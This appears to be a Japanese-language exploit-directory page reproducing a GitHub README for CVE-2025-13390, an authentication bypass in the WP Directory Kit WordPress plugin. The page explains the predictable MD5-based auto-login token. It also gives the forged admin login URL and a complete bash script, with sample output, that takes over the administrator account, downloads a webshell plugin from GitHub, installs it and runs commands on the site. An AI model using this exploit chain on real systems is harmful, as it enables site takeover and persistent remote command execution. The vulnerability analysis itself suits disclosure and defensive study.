Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-13390 — WP Directory Kit <= 1.4.4 - 認証バイパスからアカウント乗っ取りによる権限昇格 | Kitploit
ツール/GitHubGitHub/d0n601/cve-2025-13390
ペイロード生成脆弱性分析エクスプロイトシェルコードウェブアプリケーション悪用ペネトレーションテスト認証
GitHubd0n601/cve-2025-13390

CVE-2025-13390

WP Directory Kit <= 1.4.4 - 認証バイパスからアカウント乗っ取りによる権限昇格

リポジトリを見る
29ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

WP Directory Kit <= 1.4.4 - 認証バイパスによる権限昇格(アカウント乗っ取り経由)

概要

WP Directory Kit プラグイン(WordPress版)バージョン1.4.4以下には、自動ログイン機能に認証バイパスが存在します。この脆弱性により、認証されていない攻撃者が、暗号学的に脆弱なトークン生成メカニズムを悪用してWordPressサイトへの管理者アクセスを取得できる可能性があります。自動ログイン機能は無効化できず、ユーザーIDのMD5ハッシュのみから導出される予測可能なトークンを使用します。

TL;DR エクスプロイト

CVE-2025-13390.sh ファイルは、ユーザーID 1 が管理者であると仮定して、ターゲットサイトにWebシェルプラグインをアップロードします。

root@kitploit:~
./CVE-2025-13390.sh     
[*] Step 1: Auto-login and save cookies...
[+] Auto-login successful
[*] Step 2: Getting nonce from plugin-install.php...
[+] Install Nonce: a2c0ae384b
[*] Step 3: Downloading plugin from GitHub...
[*] Step 4: Extracting and repackaging plugin (WordPress needs plugin dir at ZIP root)...
[+] Plugin repackaged
[*] Step 5: Uploading plugin...
[+] Plugin installed successfully
[*] Step 6: Testing webshell...
[*] Making request to: http://techcorp.cc/wp-content/plugins/wp_webshell/wp_webshell.php?cmd=id
[+] Webshell is accessible!
[+] Response:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[*] Cleanup complete

脆弱性の詳細

説明

WP Directory Kitプラグインは、user_id と token パラメータを含むURLにアクセスすることで、認証情報を入力せずにユーザーが認証できる自動ログイン機能を実装しています。この機能は、新しいユーザーが自動的に作成され、メールでログインリンクが送信されるようなパスワード不要のログインシナリオを想定しています。

脆弱性は、以下の2つのファイルに存在するトークン生成および検証ロジックにあります:

  1. トークン生成 (application/helpers/Basic.php:5132-5137):
root@kitploit:~
function wdk_generate_auto_login_link( $user_id = null ) {
    $token = substr(md5($user_id).NONCE_KEY.'wpdirectorykit',0,10);
    
    $login_url = site_url( "/?auto-login=1&user_id={$user_id}&token={$token}" );
    return $login_url;
}
  1. トークン検証 (actions.php:116-130):
root@kitploit:~
add_action( 'init', function () {
    if (substr_count($_SERVER['REQUEST_URI'], 'auto-login') && isset( $_GET['user_id'], $_GET['token'] ) ) {
        $user_id = (int) $_GET['user_id'];
        $token = sanitize_text_field( $_GET['token'] );
        
        if ( $token == substr(md5($user_id).NONCE_KEY.'wpdirectorykit',0,10)) {
            
            wp_set_auth_cookie( $user_id );
            wp_redirect( home_url() );
            exit;
        } else {
            wp_die( 'Wrong token.' );
        }
    }
});

暗号上の欠陥

トークン生成には重大な暗号上の欠陥が含まれています。コードは次の手順でトークンを作成しようとします:

  1. md5($user_id) の計算 - 32文字の16進文字列を生成
  2. NONCE_KEY(WordPress定数、通常64文字)の連結
  3. 文字列 'wpdirectorykit' の連結
  4. substr(..., 0, 10) で最初の10文字を取得

md5($user_id) は32文字であり、関数は最初の10文字のみを取得するため、トークンは単純に md5 ハッシュの最初の10文字になります。

root@kitploit:~
substr(md5($user_id), 0, 10)

例えば、user_id = 1 の場合:

  • md5(1) = "c4ca4238a0b923820dcc509a6f75849b" (32 hex characters)
  • substr(md5(1).NONCE_KEY.'wpdirectorykit', 0, 10) = "c4ca4238a0" (first 10 chars of MD5 only)

暗号学的セキュリティを提供することを目的とした NONCE_KEY 定数は、MD5ハッシュの最初の10文字より後に現れるため、完全に無関係です。

注記: WordPressのインストールでは、最初に作成されたユーザー(user_id = 1)はほぼ常に管理者です。必要に応じて、他の管理ユーザーIDを列挙して使用することも可能です。

自動ログイン機能は無効化できない

自動ログイン機能は、プラグインの actions.php ファイルにハードコードされており、プラグインが有効な場合は常にアクティブになります。この機能を無効にする設定オプションはありません。自動ログインリンクはメールテンプレートで生成・送信されますが(application/views/email/new_user_auto_created.php:55 参照)、エンドポイント自体はメール設定に関係なく常にアクセス可能です。

影響

攻撃者が有効なトークン(例:/?auto-login=1&user_id=1&token=c4ca4238a0)を使用して自動ログインエンドポイントにリクエストを送信すると、actions.php:123 の脆弱なコードが WordPress の wp_set_auth_cookie() 関数を呼び出します。この関数は、HTTPレスポンスにWordPress認証クッキーを設定することで、認証済みセッションを確立します。これらのクッキーには以下が含まれます:

  • wordpress_logged_in_[hash] - ユーザーIDと認証情報を含む
  • wordpress_[hash] - 管理エリアの認証クッキーを含む

これらのクッキーが設定されると、攻撃者のブラウザ(またはスクリプト)は指定されたユーザーの認証済みセッションとして扱われます。

これらの管理者クッキーを使用して、攻撃者は悪意のあるプラグインのインストール、管理者ユーザーの作成などを行い、サイトの完全な侵害に至ります。

概念実証

以下のスクリプトは、自動ログインの脆弱性を悪用して管理者アクセスを取得し、Webシェルをインストールする完全な攻撃チェーンを示しています:

root@kitploit:~
#!/bin/bash

TARGET="https://examplesite.com"

echo "[*] Step 1: Auto-login and save cookies..."
curl -s -L -c /tmp/wdk_cookies.txt "$TARGET/?auto-login=1&user_id=1&token=c4ca4238a0" > /dev/null
echo "[+] Auto-login successful"

echo "[*] Step 2: Getting nonce from plugin-install.php..."
INSTALL_NONCE=$(curl -s -b /tmp/wdk_cookies.txt "$TARGET/wp-admin/plugin-install.php" | grep -oP 'name="_wpnonce" value="\K[^"]+' | head -1)
echo "[+] Install Nonce: $INSTALL_NONCE"

echo "[*] Step 3: Downloading plugin from GitHub..."
curl -s -L "https://github.com/XK3NF4/webshell-plugin-wordpress/archive/refs/heads/main.zip" -o /tmp/webshell_github.zip

echo "[*] Step 4: Extracting and repackaging plugin (WordPress needs plugin dir at ZIP root)..."
cd /tmp
unzip -q -o webshell_github.zip
# The GitHub ZIP has: webshell-plugin-wordpress-main/wp_webshell/
# WordPress needs: wp_webshell/ at the root
cd webshell-plugin-wordpress-main
zip -q -r /tmp/webshell.zip wp_webshell/
cd /tmp
rm -rf webshell-plugin-wordpress-main webshell_github.zip
echo "[+] Plugin repackaged"

echo "[*] Step 5: Uploading plugin..."
UPLOAD_RESPONSE=$(curl -s -L -b /tmp/wdk_cookies.txt -c /tmp/wdk_cookies.txt \
  -F "_wpnonce=$INSTALL_NONCE" \
  -F "pluginzip=@/tmp/webshell.zip" \
  -F "install-plugin-submit=Install Now" \
  "$TARGET/wp-admin/update.php?action=upload-plugin")

if echo "$UPLOAD_RESPONSE" | grep -qi "installed successfully\|Plugin installed"; then
    echo "[+] Plugin installed successfully"
else
    echo "[-] Installation may have failed. Checking response..."
    echo "$UPLOAD_RESPONSE" | grep -i "error\|fail" | head -5
fi

echo "[*] Step 6: Testing webshell..."
WEBSHELL_URL="$TARGET/wp-content/plugins/wp_webshell/wp_webshell.php?cmd=id"
echo "[*] Making request to: $WEBSHELL_URL"
WEBSHELL_RESPONSE=$(curl -s "$WEBSHELL_URL")

if [ -n "$WEBSHELL_RESPONSE" ]; then
    echo "[+] Webshell is accessible!"
    echo "[+] Response:"
    echo "$WEBSHELL_RESPONSE"
else
    echo "[-] Webshell may not be accessible or returned empty response"
fi

# Cleanup
rm -f /tmp/webshell.zip
echo "[*] Cleanup complete"

ツールをダウンロード